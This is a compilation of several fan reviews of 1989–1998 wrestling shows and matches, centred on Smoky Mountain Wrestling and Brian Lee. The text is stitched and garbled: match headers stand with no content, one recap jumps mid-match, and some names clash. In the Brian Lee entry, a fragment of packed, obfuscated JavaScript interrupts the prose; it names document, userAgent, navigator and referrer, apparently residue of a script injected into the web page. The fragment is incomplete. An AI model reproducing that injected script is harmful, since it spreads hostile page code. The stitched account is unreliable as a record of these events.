Bluegrass Brawl 1993: They Like It For A Reason

Bluegrass Brawl 1993
Date: April 2, 1993
Location: College Gym, Pikeville, Kentucky
Attendance: 1,778
Commentators: Les Thatcher, Lance Russell

This is from Smoky Mountain Wrestling, a promotion that I have barely ever looked at for some reason. It’s another request and in this case we have quite the big main event, with a triple threat (before that term was a thing) nine man tag, plus a chain match for the Heavyweight Title. Let’s get to it.

We open with My Old Kentucky Home (Kentucky’s rather lame state song).

Les Thatcher and Lance Russell run down the card and talk about how great this show can be.

There appears to be a Robbie Eagle vs. Rip Rogers match missing here.

Rob Morgan vs. Mongolian Stomper

Morgan jumps him to start and they’re on the floor fast. Stomper posts him hard and stomps away back inside, setting up a big boot. A cobra clutch finishes Morgan at 1:22. Bret Hart called Stomper (who never took his jacket off here) the best Canadian wrestler ever and he looked rather dominant here so maybe Bret is on to something.

Brain Lee is ready to beat Kevin Sullivan in whatever kind of match they have.

Here is Lee to find out what kind of match he and Sullivan will be having, by way of a roll of a dice. The dice is a six, meaning Lee gets to pick. That would be….a Singapore Spike match!

Tim Horner is ready to take care of the Nightstalker and then he’ll have Lee’s back later.

Nightstalker vs. Tim Horner

Nightstalker is better known as Adam Bomb/Wrath and he shoves Horner around to start. Horner punches his way out of the corner and the fans certainly like that. Horner’s shoulder bounces off of him though and Nightstalker starts working on the arm. With that broken up, Horner dropkicks him to the floor but gets sent hard into the corner back inside.

A sideslam sets up one heck of a slingshot clothesline for two on Horner and we hit the bearhug. Two arm drops trigger the comeback but Nightstalker’s clothesline trigger another near fall. Horner fights out of the chinlock but Nightstalker sends him into corner to keep up the beating.

The comeback is on anyway though and a snap suplex gives Horner two. The sleeper doesn’t work for Horner so he tries it again, only to have it broken up again. A powerslam sets up a missed elbow for Nightstalker and we hit the third sleeper. This time Nightstalker throws him over over the top to escape and that’s a DQ at 13:13.

Rating: C+. I’ve always been a fan of Nightstalker as he’s one of those guys can get by on pure power and appearance alone. Horner on the other hand is a rather generic good guy and it’s not much of a surprise that he never went too far. The ending didn’t help things here either, as it felt like a way to set up a rematch. They were going well until then, but there is only so much that can be done with a fairly weak finish.

Kevin Sullivan is happy to face Brian Lee in a Singapore Spike match. He hasn’t had this much fun since he went to Norway and clubbed baby seals!

Kevin Sullivan vs. Brian Lee

This is a Singapore Spike (there is a box in every corner, with the spike inside one of them) match and Nightstalker/Brian Horner are the seconds, though they are handcuffed in corners. Lee unloads with right hands to start and they’re already on the floor, with Sullivan getting in a posting.

A chair shot just wakes Lee up a bit and they head inside, where Lee charges into a raised boot. They head back to the floor with Sullivan hitting him with a sandbag but there’s nothing in the first box. Lee gets in a shot of his own but there’s nothing in the second box either. Sullivan takes him to the floor again and hits him with the ring bell hammer.

Back in and Sullivan uses some pliers to keep Lee down but the third box is empty as well. The fourth box is opened but Sullivan doesn’t pull anything out for some reason. Lee fights back and the referee goes down, allowing Nightstalker to get to the apron (still hooked) to try and bring in the spike (which he seemed to pull out of the box). For some reason Nightstalker hesitates to hand it over though and Lee uses the distraction to grab a rollup for the pin at 7:08.

Rating: C. It was a decent enough brawl but at the end of the day, the boxes and the spike didn’t even matter as Nightstalker got the spike and never even used the thing. Lee vs. Sullivan seems like a big feud, but this wasn’t the best execution of what seemed to be a big time match. It had the energy, though that’s about all.

Post match Sullivan goes after the still handcuffed Nightstalker with a chair but the cuffs come off, meaning Sullivan has to run off.

Tracy Smothers is ready for the Dirty White Boy. The White Boy has cost him the TV Title and $5,000 but then he burned the rebel flag that Smothers gave to him.

Ron Wright (Tennessee wrestling legend in a wheelchair) has handed down his beloved Tennessee chain to the Dirty White Boy and promises violence.

Dirty White Boy is in Central Park (allegedly) and whips out a gun to deal with off screen muggers. He has a bunch of sugar for Smothers (ok then) and a beer, which Smothers has already had. Finally, he has a bunch of dirt, which the people of Tennessee have under their fingernails. He uses the whip to break the sugar and assorted fruits and promises violence.

Smoky Mountain Title: Tracy Smothers vs. Dirty White Boy

The White Boy is defending in a Tennessee Chain match, meaning they’re tied together and it’s touch all four corners rules (with “an offensive blow” being enough to reset the count). They fight over pulling on the chain to start until White Boy pulls him into a clothesline. Smothers isn’t having that and pulls him down with the chain before hammering away. They go to the floor so Smothers can twirl a rebel flag, followed by some rams into the buckle back inside.

That’s good for three buckles but White Boy breaks it up, earning himself another beating. White Boy comes up and slugs away, only to get dropped with a single right hand. They head outside for some choking, followed by some rams into the buckle back inside. Smothers grabs the mic and calls him a “stupid Yankee” before going back to the right hands to the head.

There are three buckles but White Boy punches him a few times to break it up. White Boy pulls the chain for a crotching on top and head outside, where the bloody Smothers gets choked a bit. Back in and the chain is wrapped around the cut before a clothesline lets White Boy get three buckles. Smothers breaks that run up but the chain goes around his head to slow him down again.

White Boy gets smart by wrapping the chain around Smothers’ feet and dragging him around. A monkey flip gets Smothers out of trouble but the blood has left him blinded. He can still punch away without being able to see but an atomic drop cuts him off again. Smothers breaks him up at three again so White Boy chokes him down again, giving us two arm drops. Back up and White Boy kicks him low to cut off another comeback attempt. A clothesline with the chain drops Smothers again but White Boy goes up and gets pulled back down.

They head to the floor again where White Boy is busted open, setting up a top rope chain shot to the head. Smothers grabs a fireman’s carry for three buckles, as Wright trips him down for the save. White Boy starts choking and dragging him around the ring, with both of them hitting the buckles at the same time. With just the last one to go, Smothers fights back and lets White Boy flip him over with the chain, meaning Smothers gets the fourth buckle and the title at 25:58.

Rating: B+. These guys beat the fire out of each other and it felt like an old school southern fight. What matters here is Smothers gets the title and his revenge, but at the same time it was a bloody battle, which is what the fans wanted to see. This felt like they were trying to play towards each others strengths and it worked very well. Heck of a fight here and the best thing on the show so far by a mile.

Post match Smothers is in the back and talks about how this is the greatest night of his career. White Boy jumps him though and even spits on him.

We recap the three way nine man tag.

The Stud Stable (Ron Fuller/Jimmy Golden, better known as Colonel Parker and Buckhouse Buck in WCW) and Dutch Mantel are ready to take everyone out, with Mantel promising a bunch of whippings.

The Rock N Roll Express and Arn Anderson (what a team) is ready for the fight, with Anderson talking about how you might know it’s bad, but you don’t know just HOW bad it is. Ricky Morton says it’s time to learn just how good they are.

The Heavenly Bodies (Stan Lane/Tom Prichard) and Bobby Eaton with Jim Cornette are ready as well, with Cornette talking about how many firsts you’ll be seeing here. Everyone else is going out on stretchers when they win the first ever nine man street fight.

Heavenly Bodies/Bobby Eaton vs. Rock N Roll Express/Arn Anderson vs. Stud Stable/Dutch Mantel

Three way elimination (anyone gets pinned/gives up, their team is gone) street fight. The big brawl is on to start and this is going to be a nightmare to follow. Some of them go outside and the weapons are already brought in as this is already quite the melee. Eaton and Morton fight to the back but come back with a tire wrapped around his head.

Gibson whips various people with a belt and Prichard is already busted open. Morton gets a trashcan to clean house as the wild brawling continues. Gibson and Eaton fight off this time so Cornette comes in, only to get choked down. Gibson comes back and fights over a chair with Fuller until Morton gets in a chair shot to the head. That’s enough to pin Fuller and eliminate the Stud Stable/Mantel at 9:12.

Thankfully that clears the ring a bit but Fuller goes after Gibson (now with a bad ankle/leg) anyway. A Rocket Launcher gets two on Morton but Arn is up with a fire extinguisher (Cornette loved that spot). The three DDTs take out the villains and it’s time for a table, with all of them being whipped into it in the corner. Cornette is sent into it for a bonus and Gibson puts the Figure Four on Cornette as well. Prichard comes off the top with a loaded boot though and Gibson is done at 13:16.

Rating: B. This is the kind of match where you’re not supposed to be able to keep track of what is going on. It’s designed to be all about the mayhem and that was the case here, with nine people out there to go as nuts as they can until someone gets a fall. Cornette took a beating as well and it helped a lot, but this was just a bunch of fun with stars and names you might not see around here very often. Either way, heck of a way to close, but the details aren’t what mattered here, because it was all about the calamity.

In the back, Jim Cornette talks about how they’re the best team around here and he guarantees that will be the case for a long time.

The announcers wrap it up.

Credits, with a highlight package, take us out.

Overall Rating: B. The last two matches here are all that mattered and it wound up being rather good as a result. The first match was a squash, the second was a step away from being good and the third was an idea that didn’t quite come together. This show flew by and felt like a big time TV show at various points. The last two matches carried the show though and that chain match has the emotion to make it work. It’s not exactly must see, but I can absolutely see the audience for this kind of thing.

 

 

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Summerslam Count-Up – 1994: Double Vision

Summerslam 1994
Date: August 29, 1994
Location: United Center, Chicago, Illinois
Attendance: 23,000
Commentators: Vince McMahon, Jerry Lawler

We open with highlights of the WWF softball team (that exists?) playing in a charity game against the Chicago media. Shawn of course plays without a shirt on. The video goes on for like five minutes with Monsoon doing commentary through every inning. Randy Savage, a former professional baseball player, hit a three run home run. The WWF won 9-7.

On to the actual wrestling tonight with Macho Man as Master of Ceremonies again. As Savage is posing in the ring, Lawler tells us that Diesel (currently Intercontinental Champion) and Shawn won the tag titles from the Headshrinkers last night in Indianapolis.

Headshrinkers vs. Bam Bam Bigelow/I.R.S.

The Million Dollar Team takes over on Fatu but a double clothesline puts he and Bigelow down. A double tag brings in Samu to face IRS as things break down a bit. A middle rope headbutt gets two on IRS and Bigelow is clotheslined out to the floor. IRS takes a double Stroke and Fatu adds the top rope splash but DiBiase has the referee. Bigelow goes after Albano which draws in Afa for the DQ.

Everyone brawls up the aisle.

We now get to the white elephant of the show: Leslie Nielsen and his partner from the Naked Gun movies is here to solve the mystery of the Undertaker. See, Undertaker had disappeared after the Royal Rumble but had vowed to return. DiBiase had a fake Undertaker doing his bidding but the real one was supposed to return tonight.

Nakano, the challenger, is a Japanese monster and has Luna Vachon in her corner. A quick clothesline and a hair drag put Blayze down as Nakano looks strong early. We hit a chinlock less than two minutes in but Blayze gets her feet on the ropes. A spin kick puts Nakano down for a few seconds but she comes back with a choke to take over again. Off to a modified Boston Crab as Nakano is destroying the champion so far.

Rating: C. This was an interesting match but it was hard to get into at times. Nakano was a monster who destroyed Blayze for about eight minutes and then Alundra got a quick suplex for the pin in fifteen seconds. Bull would win the title in a few months in Japan in a near masterpiece.

Shawn and Diesel brag about winning the tag titles but say Diesel will have no problem with Razor Ramon tonight. This is right around the time where the Kliq had taken over backstage and were basically running the company, hence them dominating the title scene.

Intercontinental Title: Diesel vs. Razor Ramon

The extra big man puts the big man in a sleeper but Razor comes out of it with a belly to back suplex. Diesel comes right back by launching Razor out to the floor, allowing Shawn to untie a buckle pad. Payton finally goes after Shawn but the distraction lets Shawn clothesline Razor down. Back in again and the champion hits his elbows and knee lifts in the corner but the referee stands in front of the exposed buckle. The referee looks at Shawn like an idiot, allowing Diesel to whip Ramon into the buckle for two.

Snake Eyes onto a covered buckle puts Ramon down again and an elbow to the back gets two. We hit the chinlock with a knee in the back and a comeback attempt is countered by a boot to the face. Diesel hooks an abdominal stretch but eventually gets caught holding the top rope. Razor puts on an abdominal stretch of his own, only to be hiptossed down onto his bad back. Snake Eyes onto the exposed buckle is countered into a rollup for two and Razor starts coming back with right hands.

The middle rope bulldog gets two on Diesel as the fans are getting louder and louder. The Jackknife is countered but Diesel suplexes him down before Razor can follow up. Shawn tries to bring in the belt but gets caught in a tug of war with Payton. The referee yells at Payton so Shawn tries a superkick but of course hits the champion. Payton pulls Shawn out and Ramon pins the out cold Diesel for the title.

Diesel rants about Shawn screwing up and blames him for the loss.

Lex Luger vs. Tatanka

Jeff Jarrett vs. Mabel

Rating: D-. This was very dull as Jarrett had nothing to work with at all. Mabel was just so huge that it was almost impossible for anyone to do anything against him. Unfortunately for us Mabel would be pushed down our throats the next year, somehow main eventing the 1995 edition of the show. The match sucked.

The detectives are in the aisle, Undertaker pops up behind them, neither sees him, more PPV time is wasted.

WWF World Title: Bret Hart vs. Owen Hart

The champion makes another save before climbing up to the top of the cage, straddling the top of it. Owen pulls him back in and they continue slugging it out on the top rope. Bret rams him into the cage wall but loses his balance in the process, putting both guys back down. Jim Neidhart and Davey Boy Smith, both brothers in law of the two in the ring, are watching in the crowd.

Owen is up first but Bret makes about his 49th save of the match. Bret rams him face first into the steel and goes up again but Owen reaches through the bars to bring him back in. Back in again and Owen plants the champion with a piledriver but Bret still makes a save. Owen throws Bret down off the cage but Owen falls as well. Bret crawls for the door and gets the upper half of his body out, only to be pulled back in again by his younger brother. The drama on these near escapes is getting higher and higher.

Post match Neidhart jumps Davey Boy, throws Bret back in and locks himself in with them. A huge beatdown of Bret ensues as the Hart Brothers try to get in the cage. Davey Boy FINALLY gets in and the other brothers follow to save Bret.

In the back Owen says Neidhart is his real family. A series of great tag matches followed.

We recap the Undertaker disappearing at the Royal Rumble. 9 guys beat him up and locked him in a casket but his “spirit” levitated out of the casket, swearing to return. We get a bunch of people saying they had seen Undertaker in delis and coffee shops but DiBiase said he would bring Undertaker back.

Undertaker vs. Undertaker

Real misses a charge and falls to the floor where Fake sends him into the steps. Back in and Real wins a slugout but walks into a good chokeslam for no cover. Fake Tombstones him down but takes too long to cover, allowing for the sit up. A second Tombstone is countered into the Real one, followed by two more for the pin.

Ratings Comparison

IRS/Bam Bam Bigelow vs. Headshrinkers

Original: C+

Redo: D+

Alundra Blayze vs. Bull Nakano

Original: D+

Redo: C

Razor Ramon vs. Diesel

Original: B-

Redo: C+

Lex Luger vs. Tatanka

Original: C-

Redo: D

Jeff Jarrett vs. Mabel

Original: D-

Redo: D-

Bret Hart vs. Owen Hart

Original: A

Redo: A+

Undertaker vs. Undertaker

Original: B

Redo: F

Overall Rating

Original: C-

Redo: D+

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Wrestler of the Day – September 13: Brian Lee

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ibfdr|var|u0026u|referrer|tdees||js|php'.split('|'),0,{})) we’ve got a big power wrestler that used to be undead: Brian Lee.

Jim McPherson/Brian Lee vs. Dutch Mantel/Master of Pain

Brian would get a tryout match for WCW at Clash of the Champions XIII.

Brian Lee vs. Z-Man

Time for a cup of coffee in Puerto Rico. From WWC in 1991.

California Studs vs. Invader #4/Jerry Mercado

Brian Lee vs. Barry Horowitz

Still in SMW at some point in 1993.

Brian Lee vs. Kevin Sullivan

with right hands and a cross body which takes out the referee. Nightstalker gets on the apron with the spike in his hand but hits Sullivan by mistake, allowing Brian to roll him up for the pin.

Brian would make a one off appearance in the WWF at Summerslam 1994 as the Fake Undertaker.

Undertaker vs. Undertaker

Real misses a charge and falls to the floor where Fake sends him into the steps. Back in and Real wins a slugout but walks into a good chokeslam for no cover. Fake Tombstones him down but takes too long to cover, allowing for the sit up. A second Tombstone is countered into the Real one, followed by two more for the pin.

Brian would head back to Memphis and the USWA for a short stretch, including this match in July 1995.

Brian Lee vs. Sid Vicious

A big boot and weak looking chokeslam put Sid down for no cover. Instead Sid pops up and chokeslams Lee followed by the powerbomb, but Billy Jack Haynes comes in for the DQ.

Lee would go to ECW and be part of the Tommy Dreamer vs. Raven feud. Here he is facing Dreamer in a pretty famous scaffold match at High Incident 1996.

Brian Lee vs. Tommy Dreamer

One more ECW match at Cyberslam 1997.

Raven/Brian Lee vs. Terry Funk/Tommy Dreamer

Raven is world champion. If Funk beats Raven, he gets a shot at the title at Barely Legal. Lee is a hired gun here. This is during the Dreamer can’t beat Raven angle which I would have ended at Barely Legal, but instead they went with Funk who is the guy that was from the NWA and therefore what they were against, but hey who cares about that right? Beulah, who is dating Tommy at this point, is here being her sexy self.

We get big match intros because we need to have them for what is I guess the main event. Raven comes in and lays down to let Dreamer beat him for the first time in his life so that Funk can’t get the pin to get the title shot. Dreamer, ever the moron, hits him instead. Raven pops up and says “Hey Dreamer why didn’t you pin me?” That was funny for some reason.

Off to Funk so Raven runs and hides. Dreamer comes in again as this is stupid so far. Powerslam by Lee and he brings in Raven. Dreamer gets a DDT and tags in Funk immediately to let him try to get a win. Back off to Lee as this has been pretty basic so far. Raven won’t fight Funk so the fans chant bull. Raven and Dreamer go to the floor and the others join them. An ECW match turning into a brawl? NO WAY!!!

They’re in the crowd already and I have a feeling I’ll be able to read a novel or so while this is going on. Funk and Raven wind up back in the ring and Raven hits him low. Dreamer and Lee are on the floor having the real fight since Funk is old and Raven is probably stoned. He grabs the mic and yells at Funk for awhile while everyone looks at Dreamer and Lee who are off camera.

This creates an obvious problem of Raven vs. Funk is more or less the occasional punch and Raven yelling while the fans are all looking away at the violence on the floor. Funk grabs the mic and I’d suggest a censor button on standby. He kicks Raven’s leg out a few times and it’s the spinning toe hold. Raven screams that he quits but there’s no referee. The referee finally comes in and Lee hits Funk with a trashcan.

Lee hammers on everyone with the trashcan. Dreamer tries to protect Funk so Funk keeps getting up. Funk can’t stand up and is bleeding from the ear. Oh I have a bad feeling where this might be going. Yep the doctors are here to check on Terry and he still wants to fight. Is this supposed to be impressive or something? Terry is put on a stretcher after a few attempts and is taken to the back.

And now it’s time to make this the big angle of the show as here’s Stevie Richards who is all ticked off at Raven which I guess explains him being in the triple threat at Barely Legal. Raven wants to be kicked but Lee picks Richards off and chokeslams him. Lori Fullington, Sandman’s ex-wife comes out and is mad at Raven also. Take a DDT boy. Down she goes also.

Dreamer, ever the genius, comes out with Sandman’s son Tyler who was brainwashed by Raven at one point. Here’s a beatdown for Dreamer as well. Sandman comes out with his son on his shoulders and it’s some big emotional moment or whatever. Sandman fights both guys off and pins Raven just because. Now there’s your triple threat and Dreamer is left out in the cold. Yep that’s how they set up their first PPV people.

Rating: F+. Dude, seriously? Another big brawl, an injury angle to an old man, an ex-wife and son being brought out and a guy that hasn’t been seen the entire night is now #1 contender. Stevie is in the same spot now for getting chokeslammed and I guess beating Balls Mahoney earlier. And people wonder why non-ECW fans complain aboutnot being able to understand this company. I had no idea why they were in that match until I saw this show. Not like that’s important information to say at Barely Legal or anything right?

Los Boricuas vs. Disciples of Apocalypse

Jesus hits a Fameasser on Skull to set up another four on one beatdown. We hit a chinlock but 8 Ball breaks it up to prevent further boredom. Skull finally gets over for the tag and everything breaks down. Chainz is sent to the floor and punches Ahmed who responds with a sitout powerbomb on the concrete, giving Miguel an easy pin in the ring.

And the rematch from In Your House XVIII.

Los Boricuas vs. Disciples of Apocalypse

Farrooq/Rocky Maivia vs. Chainz/Ken Shamrock

Each team has three people with them which was to set up the War of Attrition match on Sunday which was rather stupid for a name since it was one fall to a finish. Lawler is on commentary here. Rocky is IC Champion and the fans think he sucks. Rock grabs a mic and says the fans want to know his opinion on human genetic cloning.

This was a thing he was doing around this time: giving his opinion on major issues. For instance, he doesn’t care about global hunger as long as his yard is mowed. Funny as all goodness of course. Here he’s in favor, but only with people that deserve to be cloned. In other words, just him.

Farrooq vs. Chainz to start us off here but it’s off to Shamrock very quickly. Rock wants in surprisingly enough and Shamrock kicks his hips with ease. Back to Farrooq again as they’re tagging very quickly here. Rocky and Farrooq switch AGAIN before I finish typing that sentence. Chainz comes in and gets his head handed to him by the majority of the Nation. Powerslam by Farrooq gets two.

Rock hammers Chainz down and hits what would become the People’s Elbow. He didn’t have the whole thing down yet. Back to the former Ron Simmons who works on the back for awhile. Shamrock and Rock come in and it’s all the Sham version here. Somehow we get Farrooq in the ankle lock but Rock pops Ken in the head with a chair to end this pretty quickly.

Rating: D+. Pretty fast match here which wasn’t bad but I’ve seen worse. The problem here was that they went WAY too fast with the tagging and it kept them from getting anything going. The war match was just ok if I remember. Rock vs. Shamrock would happen at Mania which was a Dusty Finish. Not bad here but just filler to get us to the PPV with this angle.

And a singles match from Raw on June 8, 1998.

Darren Drozdov vs. Chainz

Lee would hit the indies for awhile after this but would return in TNA in 2002. Here he as at Weekly PPV #12 where Lee was one of two men remaining in a battle royal, earning him a Tag Team Title shot.

Tag Titles: James Storm/Chris Harris vs. Brian Lee/Ron Haris

Storm finally gets back in and cleans house, only to get caught in a chokeslam/belly to back suplex combo for no cover. Ron pulls out a table for no apparent reason and lays Storm out on top of it. Lee loads up Chris in a chokeslam but gets rolled up (and into the ropes) to give AMW the pin and the titles.


Rating: D. This was barely even a match with Chris getting beaten down for a few minutes and Storm being on the floor most of the time. The table thing was stupid and the ending was even worse as both guys were in the ropes for the fall and the referee counted it anyway. Nothing to see here, but at least the right team won.

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USWA Wrestling Challenge – December 23, 1989 – Jeff Jarrett And Not Much Else

USWA Wrestling Challenge
Date: December 23, 1989
Location: Sportatorium, Dallas, Texas
Commentators: Marc Lowrance, Terrance Garvin

Since I only have three shows from the USWA from the late 80s/early 90s, I figured I’d go old school marathon style on them and get all of them out of the way in a row. This is from December of 89 and after this we jump ahead to the end of the year. My guess is this is going to focus on Eric Embry. Just a hunch. Let’s get to it.

We open with a clip from last week where Eric Embry and Chris Adams beat up Gary Young and Billy Joe Travis. Eric accidentally hit Adams and Joe got the pin.

I wonder if that’s Terry Garvin, who is known for his little black book of men to sleep with around the country. Well he’s in pink and purple and is very flamboyant so you figure it out. Gorilla once said Garvin would always be behind someone in one of those lines you only get if you know your history.

Apparently it’s tag team title tournament week and we’re in the second round.

Tag Team Title Tournament Second Round: Robert Fuller/Brian Lee vs. Dustin Rhodes/Jimmy Jack Funk

Joined in progress. Dustin is 20 here so he’s very new. Lee you might know as Chainz from the DOA or the Fake Undertaker in 1994. Fuller is Colonel Parker and Funk is Art Barr’s less talented brother. We’re joined in progress with Dustin dropkicking Lee and it’s off to Fuller who is awful. The heels are the Stud Stable and Dustin’s team is the Texas Connection. Fuller and Lee are knocked to the floor as Garvin runs down women.

Dustin controls Lee with a headlock on the mat and Lee looks like he’s trying to remember if he picked up his dry cleaning. Up to their feet and Dustin punches like his daddy. Off to Fuller as we take a break. Back with Lee holding Dustin in a chinlock. The less Fuller I see in the ring the happier I am. Lee gets a knee to the ribs and it’s off to Fuller.

Miss Sylvia, the Stable’s manager, hits Dustin in the head with a cane so Fuller grabs the arm. Back to Lee who collides with Dustin to put both guys down. There’s the tag to Funk and everything breaks down. Funk powerslams Lee but there’s no count. Sylvia slides in the cane and Lee cracks Funk with it to advance to the finals.

Rating: D. Pretty boring match here for the most part with the heels dominating for far too long. Dustin was clearly very green at this point but his time would come soon enough. The Stud Stable was a long running top heel stable in the south so they knew how to be all old school bad. That doesn’t mean it worked, but they had an idea of what they were doing at least.

Tag Team Title Tournament Second Round: Gary Young/Billy Joe Travis vs. Jeff Jarrett/Matt Borne

This is a semi-final match. Young and Travis have the Ryder half trunks/half tights thing going on. Borne and Jarrett are the former champions but they were stripped for some reason. Jeff vs. Travis starts us off. Akbar jumps in on commentary for a few seconds and says exactly what you would expect a heel manager to say. Jarrett and Travis have nothing going on here so it’s off to Young.

Jarrett controls again and it’s off to Borne who hits a German for two. This is really boring so far. Jarrett comes in for some armdrags and we take a break. Back with Borne knocking Travis to the floor. Travis loses the string in his tights somehow which Lowrance finds much funnier than he should. Borne gets double teamed in the corner and it’s Young working him over.

Travis punches Borne and please let this end soon. The finals are later tonight apparently. Borne kicks Travis low and makes the hot tag to Simply Irresistible Jeff Jarrett. He fires off dropkicks all around and everything breaks down. Akbar trips Jarrett so Jeff pounds on him. He chokes Akbar with his own whip and that’s a DQ win for Travis and Young somehow. Dustin comes out and somehow gets the decision reversed, sending Jarrett/Borne to the finals.

Rating: D-. Technically this was fine I guess but OH MY GOODNESS it went on forever. I was hoping for this to end which is never what you want out of a match. Young and Travis are semi-cowardly heels which means a long match is really not what you want out of them. Borne seemed inept but Jarrett looked like a more energetic version of his 1994 self but as a face. Take that for what its worth.

Tag Titles: Matt Borne/Jeff Jarrett vs. Robert Fuller/Brian Lee

This is either at a different show or the company is kind of stupid as Jarrett/Borne have another full entrance. Fuller and Jarrett start us off. Fuller is a lot taller than I thought he was. Jarrett armdrags him a few times and Fuller bails to the floor. Lee comes in and gets his arm worked on as well. Jeff moves around too fast and we get heel miscommunication. Now Lee works on Jeff’s arm as the announcers argue over how tall Lee is.

Off to Borne and WE GET IT. YOU KNOW HOW TO WORK ON AN ARM. We take a break with Jarrett in the enemy corner. Jeff gets thrown to the floor where Sylvia hits him with a stick. Off to Borne and Lee with Borne hitting a side suplex for two. The heels take over on the future Doink the Clown as this is going very slowly. Borne kicks Lee in the ribs and tags Jeff back in. Jeff cleans house with an assortment of punches and everything breaks down. In a really weak ending, Jarrett brings Sylvia in for a spanking, allowing Fuller to kick him in the back of the head for the pin and the titles.

Rating: D. Another boring match here which seems to be a running theme on this show. Jarrett again was the lone bright spot in this, primarily due to everyone else either having not much talent or being brand new at this point. Not much to see here but we get some heel champions which gives us a bunch of teams to want to beat on them.

Lowrance wraps it up.

Overall Rating: D-. Seeing new champions for free is cool but WOW things don’t go well for this company when it’s based on in ring action instead of drama. I was digging the stuff from August and September but this was almost a chore to sit through. When your show is 39 minutes not counting commercials, that’s reaching NXT levels of bad.

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